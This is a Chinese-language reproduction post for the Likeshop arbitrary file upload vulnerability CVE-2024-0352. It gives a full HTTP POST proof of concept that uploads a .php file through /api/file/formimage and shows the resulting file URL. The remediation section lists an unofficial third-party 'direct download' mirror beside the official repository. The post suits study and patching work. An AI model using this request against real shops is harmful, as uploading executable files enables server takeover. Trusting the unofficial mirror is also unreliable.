Likeshop任意文件上传漏洞(CVE-2024-0352)

0x00写在前面

本次测试仅供学习使用，如若非法他用，与本平台和发布者无关，需自行负责！

0x01漏洞介绍

Likeshop是Likeshop开源的一个社交商务策略的完整解决方案。

Likeshop 2.5.7.20210311及之前版本存在代码问题漏洞，该漏洞源于文件server/application/api/controller/File.php的参数file会导致不受限制的上传。

0x02影响版本

Likeshop 2.5.7.20210311及之前版本

0x03漏洞复现

1.访问漏洞环境

2.对漏洞进行复现

 POC （POST）

漏洞复现

POST /api/file/formimage HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip, deflate

------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="oJJRtp.php"
Content-Type: application/x-php

2b1CCERNUoEQza0xLVbjUK91V8J
------WebKitFormBoundarygcflwtei--

解析上传成功文件（漏洞存在）

https://127.0.01/uploads/user/2024011610443122fe20031.php

3.nuclei工具测试（漏洞存在）

0x04修复建议

目前厂商已发布升级补丁以修复漏洞，补丁获取链接：

https://github.com/likeshop-github/likeshop

直链下载地址

https://lp.lmboke.com/likeshop-master.zip